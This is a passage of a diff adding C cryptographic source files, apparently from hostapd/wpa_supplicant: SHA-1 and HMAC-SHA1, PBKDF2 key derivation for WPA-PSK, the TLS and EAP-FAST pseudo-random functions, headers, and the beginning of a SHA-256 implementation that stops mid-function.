#ifdef SHA1HANDSOFF
|
||||
os_memset(block, 0, 64);
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
/* SHA1Init - Initialize new context */
|
||||
|
||||
void SHA1Init(SHA1_CTX* context)
|
||||
{
|
||||
/* SHA1 initialization constants */
|
||||
context->state[0] = 0x67452301;
|
||||
context->state[1] = 0xEFCDAB89;
|
||||
context->state[2] = 0x98BADCFE;
|
||||
context->state[3] = 0x10325476;
|
||||
context->state[4] = 0xC3D2E1F0;
|
||||
context->count[0] = context->count[1] = 0;
|
||||
}
|
||||
|
||||
|
||||
/* Run your data through this. */
|
||||
|
||||
void SHA1Update(SHA1_CTX* context, const void *_data, u32 len)
|
||||
{
|
||||
u32 i, j;
|
||||
const unsigned char *data = _data;
|
||||
|
||||
#ifdef VERBOSE
|
||||
SHAPrintContext(context, "before");
|
||||
#endif
|
||||
j = (context->count[0] >> 3) & 63;
|
||||
if ((context->count[0] += len << 3) < (len << 3))
|
||||
context->count[1]++;
|
||||
context->count[1] += (len >> 29);
|
||||
if ((j + len) > 63) {
|
||||
os_memcpy(&context->buffer[j], data, (i = 64-j));
|
||||
SHA1Transform(context->state, context->buffer);
|
||||
for ( ; i + 63 < len; i += 64) {
|
||||
SHA1Transform(context->state, &data[i]);
|
||||
}
|
||||
j = 0;
|
||||
}
|
||||
else i = 0;
|
||||
os_memcpy(&context->buffer[j], &data[i], len - i);
|
||||
#ifdef VERBOSE
|
||||
SHAPrintContext(context, "after ");
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
/* Add padding and return the message digest. */
|
||||
|
||||
void SHA1Final(unsigned char digest[20], SHA1_CTX* context)
|
||||
{
|
||||
u32 i;
|
||||
unsigned char finalcount[8];
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
finalcount[i] = (unsigned char)
|
||||
((context->count[(i >= 4 ? 0 : 1)] >>
|
||||
((3-(i & 3)) * 8) ) & 255); /* Endian independent */
|
||||
}
|
||||
SHA1Update(context, (unsigned char *) "\200", 1);
|
||||
while ((context->count[0] & 504) != 448) {
|
||||
SHA1Update(context, (unsigned char *) "\0", 1);
|
||||
}
|
||||
SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform()
|
||||
*/
|
||||
for (i = 0; i < 20; i++) {
|
||||
digest[i] = (unsigned char)
|
||||
((context->state[i >> 2] >> ((3 - (i & 3)) * 8)) &
|
||||
255);
|
||||
}
|
||||
/* Wipe variables */
|
||||
i = 0;
|
||||
os_memset(context->buffer, 0, 64);
|
||||
os_memset(context->state, 0, 20);
|
||||
os_memset(context->count, 0, 8);
|
||||
os_memset(finalcount, 0, 8);
|
||||
}
|
||||
|
||||
/* ===== end - public domain SHA1 implementation ===== */
|
|
@ -0,0 +1,100 @@
|
|||
/*
|
||||
* SHA1-based key derivation function (PBKDF2) for IEEE 802.11i
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "sha1.h"
|
||||
#include "md5.h"
|
||||
#include "crypto.h"
|
||||
|
||||
static int pbkdf2_sha1_f(const char *passphrase, const char *ssid,
|
||||
size_t ssid_len, int iterations, unsigned int count,
|
||||
u8 *digest)
|
||||
{
|
||||
unsigned char tmp[SHA1_MAC_LEN], tmp2[SHA1_MAC_LEN];
|
||||
int i, j;
|
||||
unsigned char count_buf[4];
|
||||
const u8 *addr[2];
|
||||
size_t len[2];
|
||||
size_t passphrase_len = os_strlen(passphrase);
|
||||
|
||||
addr[0] = (u8 *) ssid;
|
||||
len[0] = ssid_len;
|
||||
addr[1] = count_buf;
|
||||
len[1] = 4;
|
||||
|
||||
/* F(P, S, c, i) = U1 xor U2 xor ... Uc
|
||||
* U1 = PRF(P, S || i)
|
||||
* U2 = PRF(P, U1)
|
||||
* Uc = PRF(P, Uc-1)
|
||||
*/
|
||||
|
||||
count_buf[0] = (count >> 24) & 0xff;
|
||||
count_buf[1] = (count >> 16) & 0xff;
|
||||
count_buf[2] = (count >> 8) & 0xff;
|
||||
count_buf[3] = count & 0xff;
|
||||
if (hmac_sha1_vector((u8 *) passphrase, passphrase_len, 2, addr, len,
|
||||
tmp))
|
||||
return -1;
|
||||
os_memcpy(digest, tmp, SHA1_MAC_LEN);
|
||||
|
||||
for (i = 1; i < iterations; i++) {
|
||||
if (hmac_sha1((u8 *) passphrase, passphrase_len, tmp,
|
||||
SHA1_MAC_LEN, tmp2))
|
||||
return -1;
|
||||
os_memcpy(tmp, tmp2, SHA1_MAC_LEN);
|
||||
for (j = 0; j < SHA1_MAC_LEN; j++)
|
||||
digest[j] ^= tmp2[j];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* pbkdf2_sha1 - SHA1-based key derivation function (PBKDF2) for IEEE 802.11i
|
||||
* @passphrase: ASCII passphrase
|
||||
* @ssid: SSID
|
||||
* @ssid_len: SSID length in bytes
|
||||
* @iterations: Number of iterations to run
|
||||
* @buf: Buffer for the generated key
|
||||
* @buflen: Length of the buffer in bytes
|
||||
* Returns: 0 on success, -1 of failure
|
||||
*
|
||||
* This function is used to derive PSK for WPA-PSK. For this protocol,
|
||||
* iterations is set to 4096 and buflen to 32. This function is described in
|
||||
* IEEE Std 802.11-2004, Clause H.4. The main construction is from PKCS#5 v2.0.
|
||||
*/
|
||||
int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len,
|
||||
int iterations, u8 *buf, size_t buflen)
|
||||
{
|
||||
unsigned int count = 0;
|
||||
unsigned char *pos = buf;
|
||||
size_t left = buflen, plen;
|
||||
unsigned char digest[SHA1_MAC_LEN];
|
||||
|
||||
while (left > 0) {
|
||||
count++;
|
||||
if (pbkdf2_sha1_f(passphrase, ssid, ssid_len, iterations,
|
||||
count, digest))
|
||||
return -1;
|
||||
plen = left > SHA1_MAC_LEN ? SHA1_MAC_LEN : left;
|
||||
os_memcpy(pos, digest, plen);
|
||||
pos += plen;
|
||||
left -= plen;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,109 @@
|
|||
/*
|
||||
* TLS PRF (SHA1 + MD5)
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "sha1.h"
|
||||
#include "md5.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
/**
|
||||
* tls_prf - Pseudo-Random Function for TLS (TLS-PRF, RFC 2246)
|
||||
* @secret: Key for PRF
|
||||
* @secret_len: Length of the key in bytes
|
||||
* @label: A unique label for each purpose of the PRF
|
||||
* @seed: Seed value to bind into the key
|
||||
* @seed_len: Length of the seed
|
||||
* @out: Buffer for the generated pseudo-random key
|
||||
* @outlen: Number of bytes of key to generate
|
||||
* Returns: 0 on success, -1 on failure.
|
||||
*
|
||||
* This function is used to derive new, cryptographically separate keys from a
|
||||
* given key in TLS. This PRF is defined in RFC 2246, Chapter 5.
|
||||
*/
|
||||
int tls_prf(const u8 *secret, size_t secret_len, const char *label,
|
||||
const u8 *seed, size_t seed_len, u8 *out, size_t outlen)
|
||||
{
|
||||
size_t L_S1, L_S2, i;
|
||||
const u8 *S1, *S2;
|
||||
u8 A_MD5[MD5_MAC_LEN], A_SHA1[SHA1_MAC_LEN];
|
||||
u8 P_MD5[MD5_MAC_LEN], P_SHA1[SHA1_MAC_LEN];
|
||||
int MD5_pos, SHA1_pos;
|
||||
const u8 *MD5_addr[3];
|
||||
size_t MD5_len[3];
|
||||
const unsigned char *SHA1_addr[3];
|
||||
size_t SHA1_len[3];
|
||||
|
||||
if (secret_len & 1)
|
||||
return -1;
|
||||
|
||||
MD5_addr[0] = A_MD5;
|
||||
MD5_len[0] = MD5_MAC_LEN;
|
||||
MD5_addr[1] = (unsigned char *) label;
|
||||
MD5_len[1] = os_strlen(label);
|
||||
MD5_addr[2] = seed;
|
||||
MD5_len[2] = seed_len;
|
||||
|
||||
SHA1_addr[0] = A_SHA1;
|
||||
SHA1_len[0] = SHA1_MAC_LEN;
|
||||
SHA1_addr[1] = (unsigned char *) label;
|
||||
SHA1_len[1] = os_strlen(label);
|
||||
SHA1_addr[2] = seed;
|
||||
SHA1_len[2] = seed_len;
|
||||
|
||||
/* RFC 2246, Chapter 5
|
||||
* A(0) = seed, A(i) = HMAC(secret, A(i-1))
|
||||
* P_hash = HMAC(secret, A(1) + seed) + HMAC(secret, A(2) + seed) + ..
|
||||
* PRF = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed)
|
||||
*/
|
||||
|
||||
L_S1 = L_S2 = (secret_len + 1) / 2;
|
||||
S1 = secret;
|
||||
S2 = secret + L_S1;
|
||||
if (secret_len & 1) {
|
||||
/* The last byte of S1 will be shared with S2 */
|
||||
S2--;
|
||||
}
|
||||
|
||||
hmac_md5_vector_non_fips_allow(S1, L_S1, 2, &MD5_addr[1], &MD5_len[1],
|
||||
A_MD5);
|
||||
hmac_sha1_vector(S2, L_S2, 2, &SHA1_addr[1], &SHA1_len[1], A_SHA1);
|
||||
|
||||
MD5_pos = MD5_MAC_LEN;
|
||||
SHA1_pos = SHA1_MAC_LEN;
|
||||
for (i = 0; i < outlen; i++) {
|
||||
if (MD5_pos == MD5_MAC_LEN) {
|
||||
hmac_md5_vector_non_fips_allow(S1, L_S1, 3, MD5_addr,
|
||||
MD5_len, P_MD5);
|
||||
MD5_pos = 0;
|
||||
hmac_md5_non_fips_allow(S1, L_S1, A_MD5, MD5_MAC_LEN,
|
||||
A_MD5);
|
||||
}
|
||||
if (SHA1_pos == SHA1_MAC_LEN) {
|
||||
hmac_sha1_vector(S2, L_S2, 3, SHA1_addr, SHA1_len,
|
||||
P_SHA1);
|
||||
SHA1_pos = 0;
|
||||
hmac_sha1(S2, L_S2, A_SHA1, SHA1_MAC_LEN, A_SHA1);
|
||||
}
|
||||
|
||||
out[i] = P_MD5[MD5_pos] ^ P_SHA1[SHA1_pos];
|
||||
|
||||
MD5_pos++;
|
||||
SHA1_pos++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* SHA1 T-PRF for EAP-FAST
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "sha1.h"
|
||||
#include "crypto.h"
|
||||
|
||||
/**
|
||||
* sha1_t_prf - EAP-FAST Pseudo-Random Function (T-PRF)
|
||||
* @key: Key for PRF
|
||||
* @key_len: Length of the key in bytes
|
||||
* @label: A unique label for each purpose of the PRF
|
||||
* @seed: Seed value to bind into the key
|
||||
* @seed_len: Length of the seed
|
||||
* @buf: Buffer for the generated pseudo-random key
|
||||
* @buf_len: Number of bytes of key to generate
|
||||
* Returns: 0 on success, -1 of failure
|
||||
*
|
||||
* This function is used to derive new, cryptographically separate keys from a
|
||||
* given key for EAP-FAST. T-PRF is defined in RFC 4851, Section 5.5.
|
||||
*/
|
||||
int sha1_t_prf(const u8 *key, size_t key_len, const char *label,
|
||||
const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len)
|
||||
{
|
||||
unsigned char counter = 0;
|
||||
size_t pos, plen;
|
||||
u8 hash[SHA1_MAC_LEN];
|
||||
size_t label_len = os_strlen(label);
|
||||
u8 output_len[2];
|
||||
const unsigned char *addr[5];
|
||||
size_t len[5];
|
||||
|
||||
addr[0] = hash;
|
||||
len[0] = 0;
|
||||
addr[1] = (unsigned char *) label;
|
||||
len[1] = label_len + 1;
|
||||
addr[2] = seed;
|
||||
len[2] = seed_len;
|
||||
addr[3] = output_len;
|
||||
len[3] = 2;
|
||||
addr[4] = &counter;
|
||||
len[4] = 1;
|
||||
|
||||
output_len[0] = (buf_len >> 8) & 0xff;
|
||||
output_len[1] = buf_len & 0xff;
|
||||
pos = 0;
|
||||
while (pos < buf_len) {
|
||||
counter++;
|
||||
plen = buf_len - pos;
|
||||
if (hmac_sha1_vector(key, key_len, 5, addr, len, hash))
|
||||
return -1;
|
||||
if (plen >= SHA1_MAC_LEN) {
|
||||
os_memcpy(&buf[pos], hash, SHA1_MAC_LEN);
|
||||
pos += SHA1_MAC_LEN;
|
||||
} else {
|
||||
os_memcpy(&buf[pos], hash, plen);
|
||||
break;
|
||||
}
|
||||
len[0] = SHA1_MAC_LEN;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,163 @@
|
|||
/*
|
||||
* SHA1 hash implementation and interface functions
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "sha1.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
/**
|
||||
* hmac_sha1_vector - HMAC-SHA1 over data vector (RFC 2104)
|
||||
* @key: Key for HMAC operations
|
||||
* @key_len: Length of the key in bytes
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash (20 bytes)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem,
|
||||
const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */
|
||||
unsigned char tk[20];
|
||||
const u8 *_addr[6];
|
||||
size_t _len[6], i;
|
||||
|
||||
if (num_elem > 5) {
|
||||
/*
|
||||
* Fixed limit on the number of fragments to avoid having to
|
||||
* allocate memory (which could fail).
|
||||
*/
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* if key is longer than 64 bytes reset it to key = SHA1(key) */
|
||||
if (key_len > 64) {
|
||||
if (sha1_vector(1, &key, &key_len, tk))
|
||||
return -1;
|
||||
key = tk;
|
||||
key_len = 20;
|
||||
}
|
||||
|
||||
/* the HMAC_SHA1 transform looks like:
|
||||
*
|
||||
* SHA1(K XOR opad, SHA1(K XOR ipad, text))
|
||||
*
|
||||
* where K is an n byte key
|
||||
* ipad is the byte 0x36 repeated 64 times
|
||||
* opad is the byte 0x5c repeated 64 times
|
||||
* and text is the data being protected */
|
||||
|
||||
/* start out by storing key in ipad */
|
||||
os_memset(k_pad, 0, sizeof(k_pad));
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
/* XOR key with ipad values */
|
||||
for (i = 0; i < 64; i++)
|
||||
k_pad[i] ^= 0x36;
|
||||
|
||||
/* perform inner SHA1 */
|
||||
_addr[0] = k_pad;
|
||||
_len[0] = 64;
|
||||
for (i = 0; i < num_elem; i++) {
|
||||
_addr[i + 1] = addr[i];
|
||||
_len[i + 1] = len[i];
|
||||
}
|
||||
if (sha1_vector(1 + num_elem, _addr, _len, mac))
|
||||
return -1;
|
||||
|
||||
os_memset(k_pad, 0, sizeof(k_pad));
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
/* XOR key with opad values */
|
||||
for (i = 0; i < 64; i++)
|
||||
k_pad[i] ^= 0x5c;
|
||||
|
||||
/* perform outer SHA1 */
|
||||
_addr[0] = k_pad;
|
||||
_len[0] = 64;
|
||||
_addr[1] = mac;
|
||||
_len[1] = SHA1_MAC_LEN;
|
||||
return sha1_vector(2, _addr, _len, mac);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* hmac_sha1 - HMAC-SHA1 over data buffer (RFC 2104)
|
||||
* @key: Key for HMAC operations
|
||||
* @key_len: Length of the key in bytes
|
||||
* @data: Pointers to the data area
|
||||
* @data_len: Length of the data area
|
||||
* @mac: Buffer for the hash (20 bytes)
|
||||
* Returns: 0 on success, -1 of failure
|
||||
*/
|
||||
int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
|
||||
u8 *mac)
|
||||
{
|
||||
return hmac_sha1_vector(key, key_len, 1, &data, &data_len, mac);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* sha1_prf - SHA1-based Pseudo-Random Function (PRF) (IEEE 802.11i, 8.5.1.1)
|
||||
* @key: Key for PRF
|
||||
* @key_len: Length of the key in bytes
|
||||
* @label: A unique label for each purpose of the PRF
|
||||
* @data: Extra data to bind into the key
|
||||
* @data_len: Length of the data
|
||||
* @buf: Buffer for the generated pseudo-random key
|
||||
* @buf_len: Number of bytes of key to generate
|
||||
* Returns: 0 on success, -1 of failure
|
||||
*
|
||||
* This function is used to derive new, cryptographically separate keys from a
|
||||
* given key (e.g., PMK in IEEE 802.11i).
|
||||
*/
|
||||
int sha1_prf(const u8 *key, size_t key_len, const char *label,
|
||||
const u8 *data, size_t data_len, u8 *buf, size_t buf_len)
|
||||
{
|
||||
u8 counter = 0;
|
||||
size_t pos, plen;
|
||||
u8 hash[SHA1_MAC_LEN];
|
||||
size_t label_len = os_strlen(label) + 1;
|
||||
const unsigned char *addr[3];
|
||||
size_t len[3];
|
||||
|
||||
addr[0] = (u8 *) label;
|
||||
len[0] = label_len;
|
||||
addr[1] = data;
|
||||
len[1] = data_len;
|
||||
addr[2] = &counter;
|
||||
len[2] = 1;
|
||||
|
||||
pos = 0;
|
||||
while (pos < buf_len) {
|
||||
plen = buf_len - pos;
|
||||
if (plen >= SHA1_MAC_LEN) {
|
||||
if (hmac_sha1_vector(key, key_len, 3, addr, len,
|
||||
&buf[pos]))
|
||||
return -1;
|
||||
pos += SHA1_MAC_LEN;
|
||||
} else {
|
||||
if (hmac_sha1_vector(key, key_len, 3, addr, len,
|
||||
hash))
|
||||
return -1;
|
||||
os_memcpy(&buf[pos], hash, plen);
|
||||
break;
|
||||
}
|
||||
counter++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,33 @@
|
|||
/*
|
||||
* SHA1 hash implementation and interface functions
|
||||
* Copyright (c) 2003-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef SHA1_H
|
||||
#define SHA1_H
|
||||
|
||||
#define SHA1_MAC_LEN 20
|
||||
|
||||
int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem,
|
||||
const u8 *addr[], const size_t *len, u8 *mac);
|
||||
int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
|
||||
u8 *mac);
|
||||
int sha1_prf(const u8 *key, size_t key_len, const char *label,
|
||||
const u8 *data, size_t data_len, u8 *buf, size_t buf_len);
|
||||
int sha1_t_prf(const u8 *key, size_t key_len, const char *label,
|
||||
const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len);
|
||||
int __must_check tls_prf(const u8 *secret, size_t secret_len,
|
||||
const char *label, const u8 *seed, size_t seed_len,
|
||||
u8 *out, size_t outlen);
|
||||
int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len,
|
||||
int iterations, u8 *buf, size_t buflen);
|
||||
#endif /* SHA1_H */
|
|
@ -0,0 +1,29 @@
|
|||
/*
|
||||
* SHA1 internal definitions
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef SHA1_I_H
|
||||
#define SHA1_I_H
|
||||
|
||||
struct SHA1Context {
|
||||
u32 state[5];
|
||||
u32 count[2];
|
||||
unsigned char buffer[64];
|
||||
};
|
||||
|
||||
void SHA1Init(struct SHA1Context *context);
|
||||
void SHA1Update(struct SHA1Context *context, const void *data, u32 len);
|
||||
void SHA1Final(unsigned char digest[20], struct SHA1Context *context);
|
||||
void SHA1Transform(u32 state[5], const unsigned char buffer[64]);
|
||||
|
||||
#endif /* SHA1_I_H */
|
|
@ -0,0 +1,243 @@
|
|||
/*
|
||||
* SHA-256 hash implementation and interface functions
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "sha256.h"
|
||||
#include "crypto.h"
|
||||
|
||||
struct sha256_state {
|
||||
u64 length;
|
||||
u32 state[8], curlen;
|
||||
u8 buf[64];
|
||||
};
|
||||
|
||||
static void sha256_init(struct sha256_state *md);
|
||||
static int sha256_process(struct sha256_state *md, const unsigned char *in,
|
||||
unsigned long inlen);
|
||||
static int sha256_done(struct sha256_state *md, unsigned char *out);
|
||||
|
||||
|
||||
/**
|
||||
* sha256_vector - SHA256 hash for data vector
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash
|
||||
* Returns: 0 on success, -1 of failure
|
||||
*/
|
||||
int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len,
|
||||
u8 *mac)
|
||||
{
|
||||
struct sha256_state ctx;
|
||||
size_t i;
|
||||
|
||||
sha256_init(&ctx);
|
||||
for (i = 0; i < num_elem; i++)
|
||||
if (sha256_process(&ctx, addr[i], len[i]))
|
||||
return -1;
|
||||
if (sha256_done(&ctx, mac))
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/* ===== start - public domain SHA256 implementation ===== */
|
||||
|
||||
/* This is based on SHA256 implementation in LibTomCrypt that was released into
|
||||
* public domain by Tom St Denis. */
|
||||
|
||||
/* the K array */
|
||||
static const unsigned long K[64] = {
|
||||
0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL,
|
||||
0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL,
|
||||
0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL,
|
||||
0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL,
|
||||
0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL,
|
||||
0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL,
|
||||
0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL,
|
||||
0x53380d13UL, 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL,
|
||||
0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL,
|
||||
0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL,
|
||||
0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL,
|
||||
0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL,
|
||||
0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL
|
||||
};
|
||||
|
||||
|
||||
/* Various logical functions */
|
||||
#define RORc(x, y) \
|
||||
( ((((unsigned long) (x) & 0xFFFFFFFFUL) >> (unsigned long) ((y) & 31)) | \
|
||||
((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL)
|
||||
#define Ch(x,y,z) (z ^ (x & (y ^ z)))
|
||||
#define Maj(x,y,z) (((x | y) & z) | (x & y))
|
||||
#define S(x, n) RORc((x), (n))
|
||||
#define R(x, n) (((x)&0xFFFFFFFFUL)>>(n))
|
||||
#define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22))
|
||||
#define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25))
|
||||
#define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3))
|
||||
#define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10))
|
||||
#ifndef MIN
|
||||
#define MIN(x, y) (((x) < (y)) ? (x) : (y))
|
||||
#endif
|
||||
|
||||
/* compress 512-bits */
|
||||
static int sha256_compress(struct sha256_state *md, unsigned char *buf)
|
||||
{
|
||||
u32 S[8], W[64], t0, t1;
|
||||
u32 t;
|
||||
int i;
|
||||
|
||||
/* copy state into S */
|
||||
for (i = 0; i < 8; i++) {
|
||||
S[i] = md->state[i];
|
||||
}
|
||||
|
||||
/* copy the state into 512-bits into W[0..15] */
|
||||
for (i = 0; i < 16; i++)
|
||||
W[i] = WPA_GET_BE32(buf + (4 * i));
|
||||
|
||||
/* fill W[16..63] */
|
||||
for (i = 16; i < 64; i++) {
|
||||
W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) +
|
||||
W[i - 16];
|
||||
}
|
||||
|
||||
/* Compress */
|
||||
#define RND(a,b,c,d,e,f,g,h,i) \
|
||||
t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \
|
||||
t1 = Sigma0(a) + Maj(a, b, c); \
|
||||
d += t0; \
|
||||
h = t0 + t1;
|
||||
|
||||
for (i = 0; i < 64; ++i) {
|
||||
RND(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i);
|
||||
t = S[7]; S[7] = S[6]; S[6] = S[5]; S[5] = S[4];
|
||||
S[4] = S[3]; S[3] = S[2]; S[2] = S[1]; S[1] = S[0]; S[0] = t;
|
||||
}
|
||||
|
||||
/* feedback */
|
||||
for (i = 0; i < 8; i++) {
|
||||
md->state[i] = md->state[i] + S[i];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/* Initialize the hash state */
|
||||
static void sha256_init(struct sha256_state *md)
|
||||
{
|
||||
md->curlen = 0;
|
||||
md->length = 0;
|
||||
md->state[0] = 0x6A09E667UL;
|
||||
md->state[1] = 0xBB67AE85UL;
|
||||
md->state[2] = 0x3C6EF372UL;
|
||||
md->state[3] = 0xA54FF53AUL;
|
||||
md->state[4] = 0x510E527FUL;
|
||||
md->state[5] = 0x9B05688CUL;
|
||||
md->state[6] = 0x1F83D9ABUL;
|
||||
md->state[7] = 0x5BE0CD19UL;
|
||||
}
|
||||
|
||||
/**
|
||||
Process a block of memory though the hash
|
||||
@param md The hash state
|
||||
@param in The data to hash
|
||||
@param inlen The length of the data (octets)
|
||||
@return CRYPT_OK if successful
|
||||
*/
|
||||
static int sha256_process(struct sha256_state *md, const unsigned char *in,
|
||||
unsigned long inlen)
|
||||
{
|
||||
unsigned long n;
|
||||
#define sha256_block_size 64
|
||||
|
||||
if (md->curlen > sizeof(md->buf))
|
||||
return -1;
|
||||
|
||||
while (inlen > 0) {
|
||||
if (md->curlen == 0 && inlen >= sha256_block_size) {
|
||||
if (sha256_compress(md, (unsigned char *) in) < 0)
|
||||
return -1;
|
||||
md->length += sha256_block_size * 8;
|
||||
in += sha256_block_size;
|
||||
inlen -= sha256_block_size;
|
||||
} else {
|
||||
n = MIN(inlen, (sha256_block_size - md->curlen));
|
||||
os_memcpy(md->buf + md->curlen, in, n);
|
||||
md->curlen += n;
|
||||
in += n;
|
||||
inlen -= n;
|
||||
if (md->curlen == sha256_block_size) {
|
||||
if (sha256_compress(md, md->buf) < 0)
|
||||
return -1;
|
||||
md->length += 8 * sha256_block_size;
|
||||
md->curlen = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
Terminate the hash to get the digest
|
||||
@param md The hash state
|
||||
@param out [out] The destination of the hash (32 bytes)
|
||||
@return CRYPT_OK if successful
|
||||
*/
|
||||
static int sha256_done(struct sha256_state *md, unsigned char *out)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (md->curlen >= sizeof(md->buf))
|
||||
